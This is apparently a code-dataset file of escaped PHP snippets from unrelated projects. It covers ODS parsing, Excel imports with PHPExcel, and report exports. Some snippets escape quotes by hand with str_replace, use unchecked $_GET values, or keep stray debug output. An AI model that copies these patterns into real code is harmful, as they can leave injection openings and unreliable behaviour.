(!empty($expr_tag['attr']['table:range-usable-as'])) {\n if ($expr_tag['attr']['table:range-usable-as'] == 'repeat-row') {\n $expr_tag['repeat-row'] = true;\n\n if (strpos($expr_tag['attr']['table:cell-range-address'], ':') === false) {\n list($sheet, $start_cell) = explode('.', $expr_tag['attr']['table:cell-range-address']);\n $expr_tag['attr']['table:cell-range-address'] .= ':.' . $start_cell;\n }\n list($sheet, $start_cell, $end_cell) = explode('.', $expr_tag['attr']['table:cell-range-address']);\n\n $expr_tag['sheet'] = end(explode('$', $sheet));\n\n\n list($_, $col, $expr_tag['start']) = explode('$', $start_cell);\n list($_, $col, $expr_tag['end']) = explode('$', $end_cell);\n $expr_tag['start'] = (int) current(explode(':', $expr_tag['start']));\n $expr_tag['end'] = (int) $expr_tag['end'];\n $expr_tag['length'] = $expr_tag['end'] - $expr_tag['start'] + 1;\n\n $ods['named-expression'][$expr_tag['attr']['table:name']] = array(\n 'sheet' => $expr_tag['sheet'],\n 'name' => $expr_tag['attr']['table:name'],\n 'start' => $expr_tag['start'],\n 'end' => $expr_tag['end'],\n 'length' => $expr_tag['length'],\n 'id' => $expr_id\n );\n $expr_id++;\n //$Лист1.$A$5:$AMJ$5\n //table:cell-range-address\n }\n }\n\n $ods['table:named-expressions'][] = $expr_tag;\n }\n // debug($expr);\n } else {\n $ods['table:table'] = $ods['office:spreadsheet'];\n }\n unset($ods['office:spreadsheet']);\n\n /*\n * find sheets\n */\n\n $tables = explode('</table:table>', $ods['table:table']);\n unset($ods['table:table']);\n array_pop($tables);\n\n foreach ($tables as $tbl_text) {\n list($table_tag, $table_content) = $this->extract_first_tag_str($tbl_text);\n $tbl_tag = $this->tag_attr($table_tag);\n $tbl_tag['content'] = $table_content;\n\n /*\n * find columns\n */\n\n $start_row_pos = strpos($tbl_tag['content'], '<table:table-row');\n\n $tbl_tag['columns'] = substr($tbl_tag['content'], 0, $start_row_pos);\n $tbl_tag['content'] = substr($tbl_tag['content'], $start_row_pos);\n\n $table_header_pos = strpos($tbl_tag['content'], '<table:table-header-rows>');\n\n if ($table_header_pos !== false) {\n list($tbl_tag['content0'], $tmp) = explode('<table:table-header-rows>', $tbl_tag['content']);\n list($tbl_tag['content1'], $tbl_tag['content2']) = explode('</table:table-header-rows>', $tmp);\n } else {\n $tbl_tag['content0'] = $tbl_tag['content'];\n $tbl_tag['content1'] = null;\n $tbl_tag['content2'] = null;\n }\n unset($tbl_tag['content']);\n\n /*\n * parse rows\n */\n $tbl_tag['rows'] = array();\n $tbl_tag['rows'] = array_merge($tbl_tag['rows'], $this->spreadsheet_rows($tbl_tag['content0'], 0));\n $tbl_tag['rows'] = array_merge($tbl_tag['rows'], $this->spreadsheet_rows($tbl_tag['content1'], 1)); // <---<table:table-header-rows> ZONE\n $tbl_tag['rows'] = array_merge($tbl_tag['rows'], $this->spreadsheet_rows($tbl_tag['content2'], 2));\n unset(\n $tbl_tag['content0'], $tbl_tag['content1'], $tbl_tag['content2']\n );\n\n $ods['office:spreadsheet']['table:table'][] = $tbl_tag;\n }\n\n\n\n //debug($tables);\n $this->ods = $ods;\n // debug($ods);\n }", "public function loadWorksheet($path) {\n\t\t$this->loadEssentials();\n\t\t$this->xls = PHPExcel_IOFactory::load($path);\n\t}", "private function filePath()\n {\n return $this->filePath;\n }", "public function getData()\n {\n \treturn file_get_contents($this->config['location']);\n }", "public function getFileLocation() {\n $file_location = false;\n if (isset($this->_file_location)) {\n $file_location = $this->_file_location;\n }\n\n return $file_location;\n }", "public function getFilepath();", "public static function getFileLocation()\n {\n $config = Yaml::parseFile(__DIR__.'/../../config.yaml');\n return (isset($config[\"log\"][\"file\"])) ? __DIR__.\"/\".$config[\"log\"][\"file\"] : __DIR__.\"/app.log\";\n }", "public function getCurrentWorksheet();", "protected function readFileName() { return $this->_filename; }", "public function __construct()\n {\n $this->filename = public_path('/products.xlsx');\n }", "public static function getIndexFile() {\n return self::$config->index_file;\n }", "function fileValidate($path){\n $validate_array = array();\n $excel = new PHPExcel;\n $path =public_path().\"/uploads/\".$path;\n $objPHPExcel = PHPExcel_IOFactory::load($path);\n \t\t$validate_array['fileSize'] = filesize($path);\n $validate_array['sheetCount'] = $objPHPExcel->getSheetCount();\n for($i=0;$i<$validate_array['sheetCount'];$i++){\n $activeSheet = $objPHPExcel->setActiveSheetIndex($i); // set active sheet\n\n $validate_array['sheetRow'][$i] = $activeSheet->getHighestRow();\n $validate_array['sheetColumn'][$i] = $activeSheet->getHighestColumn();\n $validate_array['sheetDimension'][$i] = $activeSheet->calculateWorksheetDimension();\n $validate_array['sheetTitle'][$i] = $activeSheet->getTitle();\n\n $cell_collection = $activeSheet->getCellCollection();\n $arr_data = array();\n foreach ($cell_collection as $key=>$cell) {\n $column = $activeSheet->getCell($cell)->getColumn();\n $colNumber = PHPExcel_Cell::columnIndexFromString($column);\n $row = $activeSheet->getCell($cell)->getRow();\n if($row == 6)\n break;\n $data_value = $activeSheet->getCell($cell)->getValue();\n $arr_data[$row][$colNumber] = $data_value;\n //$validate_array['sheetdata'][$i] = $arr_data;\n \t}\n $validate_array['sheetData'][$i] = $arr_data;\n }\n //echo \"<pre>\"; echo json_encode($validate_array,JSON_PRETTY_PRINT); exit;\n //echo \"<pre>\"; print_r ($validate_array); exit;\n return $validate_array;\n }", "public function excel($file) \n {\n // existe arquivo\n $exists = Storage::disk('local')->has('data/'.$file);\n // existe cache desse arquivo\n $existsCache = Cache::has($file);\n \n if (!$exists && !$existsCache) {\n exit('Arquivo não encontrado.');\n }\n\n // não existe o arquivo mas existe o cache : Duração 10 minutos\n if (!$exists) {\n $content = Cache::get($file);\n } else {\n $content = Storage::disk('local')->get('data/'.$file);\n $expiresAt = now()->addMinutes(10);\n Cache::put($file, $content, $expiresAt);\n }\n \n $retorno = $this->carregarLista($content);\n\n $excel = Exporter::make('Excel');\n $excel->load($retorno);\n return $excel->stream(str_replace('.txt', '', $file).\".xlsx\");\n }", "protected function get_file() {\n\n\t\treturn __FILE__;\n\t}", "private function reedImportFile()\n {\n $reader = IOFactory::createReader('Xlsx');\n\n $reader->setReadDataOnly(true);\n\n $spreadsheet = $reader->load($this->getFullPathToUploadFile());\n\n $sheetData = $spreadsheet->getActiveSheet()->toArray(null, true, true);\n\n $this->resultReedImportFile = $sheetData;\n }", "function import_xls($filename = ''){\n\t\trequire_once('includes/xls_report/PHPExcel.php');\n\t\t$xls_file = 'uploads/DataBkd/DocUpload/'.$filename;\n\n\t\t$objReader = new PHPExcel_Reader_Excel5();\n\t\t$objReader->setReadDataOnly(true);\n\t\t$objPHPExcel = $objReader->load($xls_file); #return $filename;\n\t\t$sheetData = $objPHPExcel->getActiveSheet()->toArray(null,true,true,false);\n\t\t$totalrow = count($sheetData); #return $sheetData;\n\t\t\n\t\t$kd_prodi = $sheetData[0][1];\n\t\t# get active record\n\t\t$start_record = 9;\n\t\t$start_col = 2;\n\t\twhile ($start_record < $totalrow){\n\t\t\t$a = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++; #nira\n\t\t\t$b = str_replace(\"'\",\"\\'\",$sheetData[$start_record][$start_col]); $start_col++; #nm_asesor\n\t\t\t$c = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++; #nm_pt\n\t\t\t$d = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++; \n\t\t\t$e = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++;\n\t\t\t$f = $this->security->xss_clean($sheetData[$start_record][$start_col]); $start_col++;\n\t\t\t# simpan ke database \n\t\t\t$api_url \t= URL_API_BKD.'bkd_dosen/insert_asesor';\n\t\t\t$parameter = array('api_search' => array($a, $b, $c, $d, $e, $f, $kd_prodi));\n\t\t\t$this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\t\t\t\n\t\t\t$start_record++;\n\t\t\t$start_col = 2;\n\t\t}\n\t\t$api_url \t= URL_API_BKD.'bkd_dosen/get_nama_prodi';\n\t\t$parameter = array('api_search' => array($kd_prodi));\n\t\t$nm = $this->s00_lib_api->get_api_jsob($api_url,'POST',$parameter);\n\n\t\t$data['status'] = '<div class=\"alert alert-success\"><i class=\"icon icon-ok-sign\"></i> Import Data Asesor untuk program studi '.$nm.' selesai...\n\t\t\t\t\t\t\t<br/>Lihat Daftar Asesor Prodi'.$nm.' <a href=\"'.base_url().'bkd/admbkd/asesor/prodi/'.$kd_prodi.'\">Klik disini</a></div>';\n\t\t$this->output99=$this->s00_lib_output;\n\t\t$this->output99->output_display('admbkd/form_import',$data);\n\t}", "public function readFilePath () {\n if ($this->pathExists->toBoolean () == TRUE) {\n # Return the number of read chars, and output the content;\n return new I (readfile ($this->varContainer));\n }\n }", "public function readExcelFile($file)\n {\n $isExcel = FALSE;\n $types = array('Excel5', 'Excel2007');\n \n foreach ($types as $type) {\n $reader = PHPExcel_IOFactory::createReader($type);\n if ($reader->canRead($file)) {\n $isExcel = TRUE;\n break;\n }\n }\n\n return $isExcel;\n }", "public function getCurrentFile() {}", "public function handle()\n {\n //Read the Excel Sheet\n Excel::import(new ResourcesTeachImport, 'resources-teach.xlsx','excel');\n// Excel::import(new ResourcesTeachImport, 'apple-teach-2019.xlsx','excel');\n }", "private function ReadReport($newname,$principal,$periode){\n $tmpfname = \"file-ori/\".$newname;\n $excelReader = \\PHPExcel_IOFactory::createReaderForFile($tmpfname);\n $excelObj = $excelReader->load($tmpfname);\n $worksheet = $excelObj->getSheet(0);\n $lastRow = $worksheet->getHighestRow();\n \n //proses extraksi file excel\n switch ($principal) {\n case \"BEST\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('G'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('L'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n }\n\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('H'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('L'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n }\n break;\n\n case \"PII\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('G'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('L'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n }\n\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('H'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('L'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n }\n\n break;\n\n case \"ALIDA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('E'.$row)->getValue())+intval($worksheet->getCell('O'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"KP\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('C'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('E'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"MHF BOGOR\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('C'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('D'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"MHF PUSAT\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('C'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('W'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"DASA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('D'.$row)->getValue());\n $this->SimpanInventory($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"IN\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('J'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - ALIDA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('D'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('E'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - KP\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('L'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('M'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - MAP\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('D'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('F'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - MHF BOGOR\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('H'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('K'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - MHF PUSAT\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('G'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('J'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - NSI\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('J'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('K'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - SURYATARA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('E'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('F'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - DASA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('D'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('F'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"PO\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('C'.$row)->getValue());\n $no_po = $worksheet->getCell('B4')->getValue();\n $this->SimpanPO($data->kode_barang,$qty,$periode,$no_po);\n \n }\n } \n break;\n\n case \"Others\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('C'.$row)->getValue());\n $type = $worksheet->getCell('B4')->getValue();\n $this->SimpanOthers($data->kode_barang,$qty,$periode,$type);\n \n }\n } \n break;\n\n default:\n echo \"Your favorite color is neither red, blue, nor green!\";\n }\n\n }", "protected function checkExcel(): void\n {\n if ('application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' === $this->mimeType ||\n 'application/vnd.openxmlformats-officedocument.spreadsheetml.template' === $this->mimeType ||\n 'application/vnd.ms-excel' === $this->mimeType ||\n 'xls' === $this->fileExtension ||\n 'xlsx' === $this->fileExtension\n ) {\n $this->iconClass = self::ICON_EXCEL;\n }\n }", "public function get_file() {\n\t\treturn __FILE__;\n\t}", "public static function getFilePath()\n {\n $path = dirname(__FILE__) . \"/i18n.xml\";\n if(file_exists($path)) {\n return $path;\n }\n \n $path = '@data_dir@/Ilib_Countries/Ilib/Countries/i18n.xml';\n if(file_exists($path)) {\n return $path;\n }\n \n throw new Exception('Unable to locate data file');\n }", "public function getFile()\n {\n $file = Input::file('report');\n $filename = $this->doSomethingLikeUpload($file);\n\n // Return it's location\n return $filename;\n }", "public function getPathToFile(): string;", "public function direct($pids)\n {\n \t\trequire_once 'PHPExcel/Classes/PHPExcel.php';\n\t\t$objPHPExcel = new PHPExcel(); \n\t\t$objPHPExcel->getProperties()\n\t\t\t\t\t->setCreator(\"user\")\n\t\t\t\t\t->setLastModifiedBy(\"user\")\n\t\t\t\t\t->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t->setDescription(\"Test document for Office 2007 XLSX, generated using PHP classes.\")\n\t\t\t\t\t->setKeywords(\"office 2007 openxml php\")\n\t\t\t\t\t->setCategory(\"Test result file\");\n\t\t\t//print_r($pids); die;\n\t\tforeach(range('A','D') as $columnID) {\n\t\t\t$objPHPExcel->getActiveSheet()->getColumnDimension($columnID)\n\t\t\t\t->setAutoSize(true);\n\t\t}\n //if(!empty($pids))\n if(isset($_GET['cjid']))\n {\n\t $pids = explode(',', $_GET['cjid']);\n\t\t$row=1;\n\t\tforeach($pids as $pid)\n\t\t{\n\t\t\t$oldreportname = '';\n\t\t\tif($row != 1){$row = $row+2;}\n\t\t\t$jobdata = $this->report_details($pid);\n\t\t\t\n\t\t\t// Set the active Excel worksheet to sheet 0\n\t\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\t// Initialise the Excel row number\n\t\t\t$rowCount = 0; \n\t\t\t$propname = $this->propname($pid);\n\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row, $propname->job_listing);\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()->mergeCells('A'.$row.':E'.$row);\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('A'.$row.':E'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true)->setSize(16);\n\t\t\t\n\t\t\t$row = $row+2;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, 'Staff #');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, 'Started By');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, 'Job Start (or unpause)');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, 'Pause');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(4, $row, 'Job End');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(5, $row, 'Completed By');\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('C'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('D'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('E'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('F'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t// Build cells\n\t\t\t$row++;\n\t\t\t$count =1;\n\t\t\twhile( $objRow = $jobdata->fetch_object() )\n\t\t\t{ \n\t\t\t\t$col=0;\n\t\t\t\t$startdate = date('Y-m-d h:i:s a', strtotime($objRow->starting_date));\n\t\t\t\tif($objRow->pausing_date != '0000-00-00 00:00:00')\n\t\t\t\t\t$pausedate = date('Y-m-d h:i:s a', strtotime($objRow->pausing_date));\n\t\t\t\telse\n\t\t\t\t\t$pausedate = '00:00 Null';\n\t\t\t\tif($objRow->closing_date != '0000-00-00 00:00:00')\n\t\t\t\t\t$enddate = date('Y-m-d h:i:s a', strtotime($objRow->closing_date));\n\t\t\t\telse\n\t\t\t\t\t$enddate = '00:00 Null';\n\t\t\t\t$closedate = strtotime($objRow->closing_date);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $count);$col++;\n\t\t\t\t$rowD = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->started_by));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $rowD[0]->f_name.' '.$rowD[0]->l_name);$col++; \n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $startdate);$col++;\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $pausedate);$col++;\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $enddate);$col++;\n\t\t\t\t$rowD = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->closed_by));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $rowD[0]->f_name.' '.$rowD[0]->l_name);$row++; $count++;\n\t\t\t\t \n\t\t\t}\n\t\t\t\n\t\t\t$staffuploadsdata = $this->staffuploads($pid);\n\t\t\t$row = $row + 3\t;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, 'StaffName');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, 'Date');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(4, $row, 'Images');\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('C'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('D'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('E'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('C'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('D'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('E'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t\n\t\t\t//$objPHPExcel->getActiveSheet()->getColumnDimension('D')->setWidth(40);\n\t\t\t\n\t\t\t$row++;\n\t\t\t$supload = array();\n\t\t\twhile($objRow = $staffuploadsdata->fetch_object()) // Fetch the result in the object array\n\t\t\t{\t\n\t\t\t\t$supload[] = get_object_vars($objRow);\t\n\t\t\t}\n\t\t\tforeach($supload as $objRow1)\n\t\t\t{\n\t\t\t\t$col = 2;\n\t\t\t\tforeach($objRow1 as $key=>$value) {\n\t\t\t\t\tif($key == 'images')\n\t\t\t\t\t{\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(150);\n\t\t\t\t\t\t$col = $row;\n\t\t\t\t\t\tif (strpos($value, ',') !== false)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$imgcell = 'E';\n\t\t\t\t\t\t\t$img = explode(',', $value);\n\t\t\t\t\t\t\tforeach($img as $pimg)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->getColumnDimension($imgcell)->setWidth(30);\n\t\t\t\t\t\t\t\t$objDrawing = new PHPExcel_Worksheet_Drawing();\n\t\t\t\t\t\t\t\t$objDrawing->setName('Customer Signature');\n\t\t\t\t\t\t\t\t$objDrawing->setDescription('Customer Signature');\n\t\t\t\t\t\t\t\t//Path to signature .jpg file\n\t\t\t\t\t\t\t\t$signature = $_SERVER['DOCUMENT_ROOT'].'/upload/'.$pimg; \n\t\t\t\t\t\t\t\t$objDrawing->setPath($signature);\n\t\t\t\t\t\t\t\t$objDrawing->setOffsetX(25); //setOffsetX works properly\n\t\t\t\t\t\t\t\t$objDrawing->setOffsetY(10); //setOffsetY works properly\n\t\t\t\t\t\t\t\t$objDrawing->setCoordinates($imgcell.$col); //set image to cell \n\t\t\t\t\t\t\t\t$objDrawing->setWidth(200); \n\t\t\t\t\t\t\t\t$objDrawing->setHeight(190); //signature height \n\t\t\t\t\t\t\t\t$objDrawing->setWorksheet($objPHPExcel->getActiveSheet());\n\t\t\t\t\t\t\t\t++$imgcell;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$imgcell = 'E';\n\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->getColumnDimension($imgcell)->setWidth(30);\n\t\t\t\t\t\t\t$image = $value;\n\t\t\t\t\t\t\t$objDrawing = new PHPExcel_Worksheet_Drawing();\n\t\t\t\t\t\t\t$objDrawing->setName('Customer Signature');\n\t\t\t\t\t\t\t$objDrawing->setDescription('Customer Signature');\n\t\t\t\t\t\t\t//Path to signature .jpg file\n\t\t\t\t\t\t\t$signature = $_SERVER['DOCUMENT_ROOT'].'/upload/'.$image; \n\t\t\t\t\t\t\t$objDrawing->setPath($signature);\n\t\t\t\t\t\t\t$objDrawing->setOffsetX(25); //setOffsetX works properly\n\t\t\t\t\t\t\t$objDrawing->setOffsetY(10); //setOffsetY works properly\n\t\t\t\t\t\t\t$objDrawing->setCoordinates($imgcell.$col); //set image to cell \n\t\t\t\t\t\t\t$objDrawing->setWidth(200); \n\t\t\t\t\t\t\t$objDrawing->setHeight(190); //signature height \n\t\t\t\t\t\t\t$objDrawing->setWorksheet($objPHPExcel->getActiveSheet());\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\telseif($key == 'staff_id')\n\t\t\t\t\t{\n\t\t\t\t\t\t$staffname = $this->staffname($value);\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $staffname->f_name.' '.$staffname->l_name);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t}\n\t\t\t\t\t$col++;\n\t\t\t\t}\n\t\t\t\t$row++;\n\t\t\t}\n\t\t\t//\n\t\t\tif( isset($_GET['exp']) && $_GET['exp'] == 'all')\n\t\t\t{\n\t\t\t$row = $row+2;\n\t\t\t$propertyreports = $this->export_property_reports($pid);\n\t\t\twhile($objRow = $propertyreports->fetch_object())\n\t\t\t{\n\t\t\t\t$col=0;\n\t\t\t\t$fbody = json_decode($objRow->form_body); \n\t\t\t\t$report_name = $objRow->report_name;\n\t\t\t\tif($oldreportname != $report_name){\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row, 